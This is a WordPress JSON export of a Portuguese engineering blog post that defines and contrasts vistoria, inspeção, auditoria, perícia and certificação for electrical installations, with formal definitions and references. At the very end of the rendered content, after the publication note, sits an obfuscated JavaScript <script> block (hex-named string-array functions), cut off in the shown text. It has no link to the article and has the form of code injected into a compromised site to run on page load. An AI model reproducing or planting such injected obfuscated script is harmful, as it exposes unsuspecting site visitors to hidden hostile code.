{"id":234,"date":"2020-05-27T10:16:54","date_gmt":"2020-05-27T13:16:54","guid":{"rendered":"http:\/\/www.barreto.eng.br\/blog\/?p=234"},"modified":"2020-05-27T10:16:54","modified_gmt":"2020-05-27T13:16:54","slug":"vistoria-inspecao-auditoria-pericia-certificacao","status":"publish","type":"post","link":"https:\/\/www.barreto.eng.br\/blog\/index.php\/2020\/05\/27\/vistoria-inspecao-auditoria-pericia-certificacao\/","title":{"rendered":"Vistoria? Inspe\u00e7\u00e3o? Auditoria? Per\u00edcia? Certifica\u00e7\u00e3o?"},"content":{"rendered":"<p>(junho \/ 2014)<\/p>\n<p>Provavelmente o leitor que tinha certeza do que solicitar, ao ler o resumo, ficou com uma pontinha de d\u00favida.<\/p>\n<p>Este artigo apresenta a aplica\u00e7\u00e3o desses termos em instala\u00e7\u00f5es el\u00e9tricas, mas que tamb\u00e9m s\u00e3o aplic\u00e1veis em diversos outros contextos.<\/p>\n<p>Todos esses tipos de servi\u00e7o (vistoria, inspe\u00e7\u00e3o, auditoria, per\u00edcia, certifica\u00e7\u00e3o) visam a alguns objetivos, como por exemplo, avaliar o estado de obsolesc\u00eancia ou degrada\u00e7\u00e3o das instala\u00e7\u00f5es, atender a legisla\u00e7\u00e3o, identificar anomalias ou causas de acidentes, melhorar a seguran\u00e7a ou desempenho das instala\u00e7\u00f5es, entre outros. Portanto, \u00e9 preciso saber bem o que se deseja para que a contrata\u00e7\u00e3o alcance o objetivo desejado.\u00a0<!--more--><\/p>\n<p>Em um primeiro momento pode parecer preciosismo de vocabul\u00e1rio. No entanto, dependendo da situa\u00e7\u00e3o de contrata\u00e7\u00e3o, o uso inadequado de um termo pode gerar transtornos, desconfortos ou animosidades. O desconhecimento da defini\u00e7\u00e3o do que se deseja contratar pode influenciar at\u00e9 o pre\u00e7o do servi\u00e7o, ou pior ainda, pode-se n\u00e3o receber o que de fato se precisa.<\/p>\n<p>Muito poderia ser descrito em cada t\u00f3pico a seguir, mas optou-se por inserir explica\u00e7\u00f5es simples, curtas e pr\u00e1ticas.<\/p>\n<p><strong>Exemplo<\/strong><\/p>\n<p><strong>\u00a0<\/strong>Certa vez fui contatado por um engenheiro para verificar o estado da instala\u00e7\u00e3o el\u00e9trica da empresa na qual ele trabalhava e chegamos ao consenso de que o servi\u00e7o seria uma inspe\u00e7\u00e3o. At\u00e9 aqui convergimos na terminologia (e no que de fato deveria ser feito). Contudo, ele queria que eu entregasse um laudo, sendo que o resultado do servi\u00e7o era um relat\u00f3rio. Expliquei a diferen\u00e7a entre os dois tipos de documentos, mas, como ele insistia no termo laudo, preferi encerrar a discuss\u00e3o. Ao final do trabalho, entreguei um relat\u00f3rio \u201cbatizado\u201d de laudo, a fim de agradar ao colega!<\/p>\n<p><strong>Vistoria <\/strong><\/p>\n<p><strong>\u00a0<\/strong>Nesta atividade, o profissional constata o que existe em uma instala\u00e7\u00e3o, sem an\u00e1lise t\u00e9cnica aprofundada. Trata-se de uma verifica\u00e7\u00e3o superficial, breve, que at\u00e9 serve para detectar eventuais anomalias de f\u00e1cil identifica\u00e7\u00e3o, sem uso de equipamentos ou instrumentos. N\u00e3o se tem a preocupa\u00e7\u00e3o de identificar causas de alguma ocorr\u00eancia, mas sim de registrar o que se v\u00ea e coletar informa\u00e7\u00f5es. O resultado da vistoria \u00e9 um relat\u00f3rio (de vistoria).<\/p>\n<p>A vistoria tamb\u00e9m \u00e9 utilizada pelos peritos para registrar o que h\u00e1 no local, que possa ajudar na elucida\u00e7\u00e3o de um caso (per\u00edcia). Nesse contexto, a vistoria acaba se atendo a detalhes espec\u00edficos que tenham rela\u00e7\u00e3o com o caso a ser analisado.<\/p>\n<p><strong>Inspe\u00e7\u00e3o <\/strong><\/p>\n<p>De modo simplificado, trata-se de uma vistoria seguida de an\u00e1lise t\u00e9cnica. Nesse contexto, a observa\u00e7\u00e3o da instala\u00e7\u00e3o \u00e9 seguida de uma an\u00e1lise e julgamento t\u00e9cnico, baseado em conhecimentos t\u00e9cnicos, cient\u00edficos e normativos. Geralmente, o profissional emite um parecer sobre a situa\u00e7\u00e3o de conformidade ou n\u00e3o dos itens inspecionados. \u00c9 o tipo do servi\u00e7o que se contrata quando se deseja avaliar as condi\u00e7\u00f5es atuais de uso e de manuten\u00e7\u00e3o de uma instala\u00e7\u00e3o ou identificar e descrever um problema.<\/p>\n<p>Recomenda\u00e7\u00f5es para adequa\u00e7\u00e3o de determinadas irregularidades podem ser agregadas ao servi\u00e7o de inspe\u00e7\u00e3o, desde que devidamente contratada e remunerada. O resultado da inspe\u00e7\u00e3o \u00e9 um relat\u00f3rio (de inspe\u00e7\u00e3o).<\/p>\n<p><strong>Auditoria<\/strong><\/p>\n<p>\u00c9 uma avalia\u00e7\u00e3o que se faz em processos, e n\u00e3o em instala\u00e7\u00f5es. Portanto, \u00e9 inadequado referir-se a <em>\u201cauditoria em uma instala\u00e7\u00e3o el\u00e9trica\u201d<\/em>. Pode-se sim fazer uma vistoria, inspe\u00e7\u00e3o ou per\u00edcia.<\/p>\n<p>No \u00e2mbito das instala\u00e7\u00f5es el\u00e9tricas, pode-se sim fazer uma auditoria nos processos de elabora\u00e7\u00e3o de projeto e de execu\u00e7\u00e3o da instala\u00e7\u00e3o. Neste caso, o objeto da avalia\u00e7\u00e3o n\u00e3o s\u00e3o as quest\u00f5es t\u00e9cnicas, puramente, mas sim as organizacionais (procedimentos). O resultado da auditoria \u00e9 um relat\u00f3rio (de auditoria).<\/p>\n<p><strong>P<\/strong><strong>er\u00edcia <\/strong><\/p>\n<p>A per\u00edcia est\u00e1 praticamente restrita aos processos judiciais (ocorr\u00eancia de acidentes ou avalia\u00e7\u00e3o de bens). Nesses casos, busca-se identificar as causas que motivaram o acidente, ou determinar o valor de um bem, com emiss\u00e3o de parecer t\u00e9cnico fundamentado, emitido por especialista(s) na mat\u00e9ria.<\/p>\n<p>Em processos judiciais, \u00e9 requerida per\u00edcia t\u00e9cnica quando o juiz n\u00e3o se sente capaz de emitir opini\u00e3o a respeito do assunto com base apenas na legisla\u00e7\u00e3o (por se tratar de mat\u00e9ria t\u00e9cnica ou cient\u00edfica), ou quando as partes em lit\u00edgio pedem ao juiz a realiza\u00e7\u00e3o da per\u00edcia. O perito ent\u00e3o ter\u00e1 a tarefa de esclarecer e fundamentar os fatos t\u00e9cnicos, em linguagem de f\u00e1cil compreens\u00e3o, para auxiliar o juiz a julgar o caso. O resultado da per\u00edcia \u00e9 um laudo (pericial ou de avalia\u00e7\u00e3o).<\/p>\n<p>Fora do \u00e2mbito judicial contrata-se uma per\u00edcia quando se deseja elucidar um fato de certa responsabilidade ou complexidade.<\/p>\n<p><strong>Certifica\u00e7\u00e3o <\/strong><\/p>\n<p>\u00c9 um dos mecanismos utilizados para avaliar a conformidade de um objeto. Deve ser realizada por terceira parte (independente), ou seja, por quem n\u00e3o \u00e9 parte interessada no objeto a ser certificado.<\/p>\n<p>Quando a certifica\u00e7\u00e3o \u00e9 realizada com base em Programas de Avalia\u00e7\u00e3o da Conformidade \u2013 PAC estabelecidos pelo Instituto Nacional de Metrologia, Qualidade e Tecnologia \u2013 Inmetro, o objeto certificado recebe um selo de conformidade (Marca de Conformidade).<\/p>\n<p>O objetivo de uma avalia\u00e7\u00e3o da conformidade (pelo mecanismo da certifica\u00e7\u00e3o ou por outro estipulado entre as partes) \u00e9 verificar se o objeto avaliado atendeu aos requisitos que foram especificados, ou seja, se est\u00e1 \u201cconforme\u201d ou \u201cn\u00e3o conforme\u201d. Neste particular, por vezes t\u00eam sido utilizados pelo mercado os termos \u201cinconformidade\u201d e \u201cdesconformidade\u201d. Apesar de existirem nos dicion\u00e1rios, n\u00e3o s\u00e3o termos utilizados no \u00e2mbito da avalia\u00e7\u00e3o da conformidade.<\/p>\n<p>Com as explica\u00e7\u00f5es apresentadas e as defini\u00e7\u00f5es formais mostradas a seguir, facilmente se observa que esses termos t\u00eam sido utilizados de forma inadequada em certas situa\u00e7\u00f5es de contrata\u00e7\u00e3o de servi\u00e7os de engenharia.<\/p>\n<p>Comumente, t\u00eam sido contratados servi\u00e7os de per\u00edcia para recebimento de obra, quando este \u00e9 um caso t\u00edpico de inspe\u00e7\u00e3o. Afinal, pressup\u00f5e-se que, na fase de entrega de uma obra, n\u00e3o ocorreu nenhum acidente, sinistro ou nada aparentemente inexplic\u00e1vel que justifique uma per\u00edcia.<\/p>\n<p>Al\u00e9m do que, como s\u00e3o atividades distintas (per\u00edcia e inspe\u00e7\u00e3o), que seguem ritos espec\u00edficos, se o profissional n\u00e3o souber como atuar em cada uma dessas situa\u00e7\u00f5es, poder\u00e1 haver distor\u00e7\u00f5es no trabalho realizado. Ou seja, contrata-se perito para per\u00edcia e inspetor para inspe\u00e7\u00e3o.<\/p>\n<p>Tamb\u00e9m, na (boa) onda das contrata\u00e7\u00f5es de servi\u00e7os para verificar se uma instala\u00e7\u00e3o el\u00e9trica est\u00e1 \u201cem ordem\u201d, por vezes s\u00e3o solicitados \u201claudos\u201d, quando o correto \u00e9 um relat\u00f3rio de inspe\u00e7\u00e3o.<\/p>\n<p><strong>Defini\u00e7\u00f5es<\/strong><\/p>\n<p><strong>\u00a0<\/strong>A seguir, s\u00e3o apresentadas algumas defini\u00e7\u00f5es para melhor compreens\u00e3o e fundamenta\u00e7\u00e3o do que foi exposto neste artigo. \u00c9 necess\u00e1rio observar que as defini\u00e7\u00f5es apresentadas podem ter o seu entendimento restrito ao \u00e2mbito de atua\u00e7\u00e3o das fontes pesquisadas. Portanto, podem n\u00e3o ser defini\u00e7\u00f5es generalistas.<\/p>\n<p><em>Vistoria:<\/em><\/p>\n<p>1 \u2013 Inspe\u00e7\u00e3o ou revista de car\u00e1ter oficial ou n\u00e3o, feita por peritos para determinado fim.<sup>[1]<\/sup><\/p>\n<p>2 \u2013 Atividade que envolve a constata\u00e7\u00e3o de um fato, mediante exame circunstanciado e descri\u00e7\u00e3o minuciosa dos elementos que o constituem, sem a indaga\u00e7\u00e3o das causas que o motivaram.<sup>[3][4]<\/sup><\/p>\n<p>3 \u2013 Constata\u00e7\u00e3o local de fatos, mediante observa\u00e7\u00f5es criteriosas em um bem e nos elementos e condi\u00e7\u00f5es que o constituem ou o influenciam.<sup>[6]<\/sup><\/p>\n<p><em>Inspe\u00e7\u00e3o:<\/em><\/p>\n<p>1 \u2013 Ato ou efeito de inspecionar; vista, exame, vistoria, fiscaliza\u00e7\u00e3o.<sup>[1]<\/sup><\/p>\n<p>2 \u2013 Exame de um projeto de produto, produto, processo ou instala\u00e7\u00e3o e determina\u00e7\u00e3o de sua conformidade com requisitos espec\u00edficos ou, com base no julgamento profissional, com requisitos gerais.<sup>[2]<\/sup><\/p>\n<p>3 \u2013 Avalia\u00e7\u00e3o da conformidade pela observa\u00e7\u00e3o e julgamento, acompanhada, conforme apropriado, por medi\u00e7\u00f5es, ensaios ou uso de calibres\u201d.<sup>[5]<\/sup><\/p>\n<p><em>Auditoria:<\/em><\/p>\n<p>1 \u2013 Inspe\u00e7\u00e3o das opera\u00e7\u00f5es cont\u00e1beis de uma empresa ou institui\u00e7\u00e3o.<sup>[1]<\/sup><\/p>\n<p>2 \u2013 Processo sistem\u00e1tico, independente e documentado, para obter registros, afirma\u00e7\u00f5es de fatos ou outras informa\u00e7\u00f5es pertinentes e avali\u00e1-los de maneira objetiva para determinar a extens\u00e3o na qual os requisitos especificados s\u00e3o atendidos. Nota: o termo auditoria se aplica aos sistemas de gest\u00e3o.<sup>[2]<\/sup><\/p>\n<p>3 \u2013 Atividade que envolve o exame e a verifica\u00e7\u00e3o de obedi\u00eancia a condi\u00e7\u00f5es formais estabelecidas para o controle de processos e a lisura de procedimentos.<sup>[4]<\/sup><\/p>\n<p><em>Per\u00edcia:<\/em><\/p>\n<p>1 \u2013 Exame ou vistoria de car\u00e1ter t\u00e9cnico e especializado.<sup>[1]<\/sup><\/p>\n<p>2 \u2013 Atividade que envolve a apura\u00e7\u00e3o das causas que motivaram determinado evento ou da asser\u00e7\u00e3o de direitos.<sup>[3] [4]<\/sup><\/p>\n<p>3 \u2013 Atividade que envolve a apura\u00e7\u00e3o das causas que motivaram determinado evento, ou asser\u00e7\u00e3o de direitos, na qual o profissional, por conta pr\u00f3pria ou a servi\u00e7o de terceiros, efetua trabalho t\u00e9cnico visando \u00e0 emiss\u00e3o de um parecer ou laudo t\u00e9cnico, compreendendo: levantamento de dados, realiza\u00e7\u00e3o de an\u00e1lise ou avalia\u00e7\u00e3o de estudos, propostas, projetos, servi\u00e7os, obras ou produtos desenvolvidos e\/ou executados por outrem.<sup>[5]<\/sup><\/p>\n<p>4 \u2013 Atividade t\u00e9cnica realizada por profissional com qualifica\u00e7\u00e3o espec\u00edfica, para averiguar e esclarecer fatos, verificar o estado de um bem, apurar as causas que motivaram determinado evento, avaliar bens, seus custos, frutos ou direitos.<sup>[7]<\/sup><\/p>\n<p><em>Certifica\u00e7\u00e3o:<\/em><\/p>\n<p>1 \u2013 Atesta\u00e7\u00e3o relativa a produtos, processos, sistemas ou pessoas por terceira parte.<sup>[2]<\/sup><\/p>\n<p>2 \u2013 Atesta\u00e7\u00e3o da conformidade de um objeto realizada por terceira parte.<sup>[6]<\/sup><\/p>\n<p><em>Relat\u00f3rio:<\/em><\/p>\n<p>1 \u2013 Exposi\u00e7\u00e3o ora ou escrita acerca de fato(s), com a discrimina\u00e7\u00e3o de todos os seus aspectos ou elementos.<sup>[1]<\/sup><\/p>\n<p><em>Laudo:<\/em><\/p>\n<p>1 \u2013 Texto fundamentado, atrav\u00e9s do qual peritos exp\u00f5em as observa\u00e7\u00f5es e estudos que efetuaram sobre algum assunto.<sup>[1]<\/sup><\/p>\n<p>2 \u2013 Pe\u00e7a na qual o perito, profissional habilitado, relata o que observou e d\u00e1 suas conclus\u00f5es ou avalia, fundamentadamente, o valor de coisas ou direitos<sup>[3]<\/sup>.<\/p>\n<p>3 \u2013 Pe\u00e7a na qual, com fundamenta\u00e7\u00e3o t\u00e9cnica, o profissional habilitado como perito relata o que observou e apresenta as suas conclus\u00f5es, ou avalia o valor de bens, direitos e\/ou empreendimentos.<sup>[5]<\/sup><\/p>\n<p>4 \u2013 Parecer t\u00e9cnico escrito e fundamentado, emitido por um especialista indicado por autoridade, relatando resultado de exames e vistorias, assim como eventuais avalia\u00e7\u00f5es com ele relacionados.<sup>[7]<\/sup><\/p>\n<p><em>Parecer (t\u00e9cnico):<\/em><\/p>\n<p>1 \u2013 Opini\u00e3o emitida por um especialista em determinada mat\u00e9ria.<sup>[1]<\/sup><\/p>\n<p>2 \u2013 Opini\u00e3o, conselho ou esclarecimento t\u00e9cnico emitido por um profissional legalmente habilitado sobre assunto de sua especialidade.<sup> [3]<\/sup><\/p>\n<p>3 \u2013 Express\u00e3o de opini\u00e3o, tecnicamente fundamentada, sobre determinado assunto, emitida por especialista.<sup>[5]<\/sup><\/p>\n<p>4 \u2013 Relat\u00f3rio circunstanciado, ou esclarecimento t\u00e9cnico emitido por um profissional capacitado e legalmente habilitado sobre assunto de sua especialidade.<sup>[7]<\/sup><\/p>\n<p><strong>\u00a0<\/strong><em>Atestado:<\/em><\/p>\n<p>1 \u2013 Declara\u00e7\u00e3o assinada em que algu\u00e9m atesta a verdade de um fato.<sup>[1]<\/sup><\/p>\n<p><em>Declara\u00e7\u00e3o:<\/em><\/p>\n<p>1 \u2013 Texto formal em que se declara algo.<sup>[1]<\/sup><\/p>\n<p>2 \u2013 Atesta\u00e7\u00e3o por uma primeira parte. Por sua vez, atesta\u00e7\u00e3o \u00e9 a emiss\u00e3o de uma afirma\u00e7\u00e3o, baseada numa decis\u00e3o feita ap\u00f3s an\u00e1lise cr\u00edtica, de que o atendimento aos requisitos especificados foi demonstrado.<sup>[2]<\/sup><\/p>\n<p>Refer\u00eancias Bibliogr\u00e1ficas:<\/p>\n<p>[1] ACADEMIA BRASILEIRA DE LETRAS. <em>Dicion\u00e1rio escolar da l\u00edngua portuguesa.<\/em> Cia. Ed. Nacional. S\u00e3o Paulo, 2008.<\/p>\n<p>[2] ASSOCIA\u00c7\u00c3O BRASILEIRA DE NORMAS T\u00c9CNICAS \u2013 ABNT.<em> NBR ISO\/IEC 17000: Avalia\u00e7\u00e3o de conformidade \u2013 Vocabul\u00e1rio e princ\u00edpios gerais<\/em>. Rio de Janeiro, 2005.<\/p>\n<p>[3] ASSOCIA\u00c7\u00c3O BRASILEIRA DE NORMAS T\u00c9CNICAS \u2013 ABNT.<em> NBR 13752 \u2013 Per\u00edcias de engenharia na constru\u00e7\u00e3o civil.<\/em> Rio de janeiro, 1996.<\/p>\n<p>[4] BRASIL. Conselho Federal de Engenharia e Agronomia \u2013 Confea. <em>Resolu\u00e7\u00e3o n\u00ba 342. Bras\u00edlia, 1990.<\/em> Dispon\u00edvel em: &lt;http:\/\/www.confea.org.br&gt;. Acesso em 13\/06\/2014.<\/p>\n<p>[5] BRASIL. Conselho Regional de Engenharia e Agronomia do Estado de S\u00e3o Paulo \u2013 Crea-SP. <em>Orienta\u00e7\u00f5es para o exerc\u00edcio das atividades de engenharia e agronomia em servi\u00e7os e obras p\u00fablicas. <\/em>S\u00e3o Paulo.<\/p>\n<p>[6] BRASIL. Instituto Nacional de Metrologia, Qualidade e Tecnologia \u2013 Inmetro. Dispon\u00edvel em: &lt;http:\/\/www.inmetro.gov.br&gt;. Acesso em 13\/06\/2014.<\/p>\n<p>[7] INSTITUTO BRASILEIRO DE AVALIA\u00c7\u00d5ES E PER\u00cdCIAS \u2013 IBAPE. <em>Gloss\u00e1rio de terminologia b\u00e1sica aplic\u00e1vel \u00e0 engenharia de avalia\u00e7\u00f5es e per\u00edcias do Ibape\/SP<\/em>. S\u00e3o Paulo, 2002. Dispon\u00edvel em: &lt;http:\/\/www.ibape-sp.org.br&gt;. Acesso em 13\/06\/2014.<\/p>\n<p>NOTA.: Artigo publicado na revista Eletricidade Moderna de jun\/2014. A vers\u00e3o ora apresentada possui pequenas modifica\u00e7\u00f5es.<br \/>\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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